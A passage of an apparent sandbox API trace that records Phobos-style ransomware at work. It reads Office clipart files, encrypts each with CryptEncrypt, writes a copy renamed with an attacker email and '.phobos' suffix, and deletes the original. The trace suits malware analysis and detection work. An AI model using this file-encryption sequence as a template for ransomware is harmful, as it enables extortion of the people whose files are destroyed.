1 [0134.142] CloseHandle (hObject=0x2e4) returned 1 [0134.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0134.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.143] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.143] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.143] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752fd8) returned 1 [0134.143] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.143] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x4604, lpOverlapped=0x0) returned 1 [0134.244] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4610, dwBufLen=0x4610 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4610) returned 1 [0134.244] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x4610, lpOverlapped=0x0) returned 1 [0134.246] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0134.246] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.246] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.246] CryptDestroyKey (hKey=0x753098) returned 1 [0134.246] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.246] CryptDestroyKey (hKey=0x752fd8) returned 1 [0134.246] CloseHandle (hObject=0x2e4) returned 1 [0134.247] CloseHandle (hObject=0x308) returned 1 [0134.247] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0134.248] SetEvent (hEvent=0x2b8) returned 1 [0134.248] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.248] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=12958) returned 1 [0134.248] CloseHandle (hObject=0x308) returned 1 [0134.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0134.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.248] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.248] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.249] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0134.249] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.249] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x329e, lpOverlapped=0x0) returned 1 [0134.278] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x32a0) returned 1 [0134.278] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x32a0, lpOverlapped=0x0) returned 1 [0134.279] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0134.279] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.279] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.279] CryptDestroyKey (hKey=0x753098) returned 1 [0134.279] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.279] CryptDestroyKey (hKey=0x7530d8) returned 1 [0134.279] CloseHandle (hObject=0x308) returned 1 [0134.279] CloseHandle (hObject=0x2e4) returned 1 [0134.279] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0134.280] SetEvent (hEvent=0x2b8) returned 1 [0134.280] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.281] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2488) returned 1 [0134.281] CloseHandle (hObject=0x2e4) returned 1 [0134.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0134.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.282] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.282] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.282] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0134.282] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.282] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x9b8, lpOverlapped=0x0) returned 1 [0134.285] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x9c0) returned 1 [0134.285] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x9c0, lpOverlapped=0x0) returned 1 [0134.286] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0134.286] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.286] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.286] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.286] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.286] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.286] CloseHandle (hObject=0x2e4) returned 1 [0134.286] CloseHandle (hObject=0x308) returned 1 [0134.286] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0134.287] SetEvent (hEvent=0x2b8) returned 1 [0134.287] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.287] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2188) returned 1 [0134.287] CloseHandle (hObject=0x308) returned 1 [0134.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0134.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.288] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0134.288] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.288] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x88c, lpOverlapped=0x0) returned 1 [0134.399] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x890, dwBufLen=0x890 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x890) returned 1 [0134.399] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x890, lpOverlapped=0x0) returned 1 [0134.399] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0134.399] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.400] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.400] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.400] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.400] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.400] CloseHandle (hObject=0x308) returned 1 [0134.400] CloseHandle (hObject=0x2e4) returned 1 [0134.400] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0134.401] SetEvent (hEvent=0x2b8) returned 1 [0134.401] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.401] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4396) returned 1 [0134.401] CloseHandle (hObject=0x2e4) returned 1 [0134.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0134.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.402] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.402] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.403] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d58) returned 1 [0134.403] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.403] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x112c, lpOverlapped=0x0) returned 1 [0134.444] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1130, dwBufLen=0x1130 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1130) returned 1 [0134.444] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1130, lpOverlapped=0x0) returned 1 [0134.445] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f98) returned 1 [0134.445] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.445] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.445] CryptDestroyKey (hKey=0x752f98) returned 1 [0134.445] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.446] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.446] CloseHandle (hObject=0x2e4) returned 1 [0134.446] CloseHandle (hObject=0x308) returned 1 [0134.446] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0134.447] SetEvent (hEvent=0x2b8) returned 1 [0134.447] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.447] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1564) returned 1 [0134.447] CloseHandle (hObject=0x308) returned 1 [0134.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0134.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.456] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0134.456] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.456] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x61c, lpOverlapped=0x0) returned 1 [0134.473] CryptEncrypt (in: 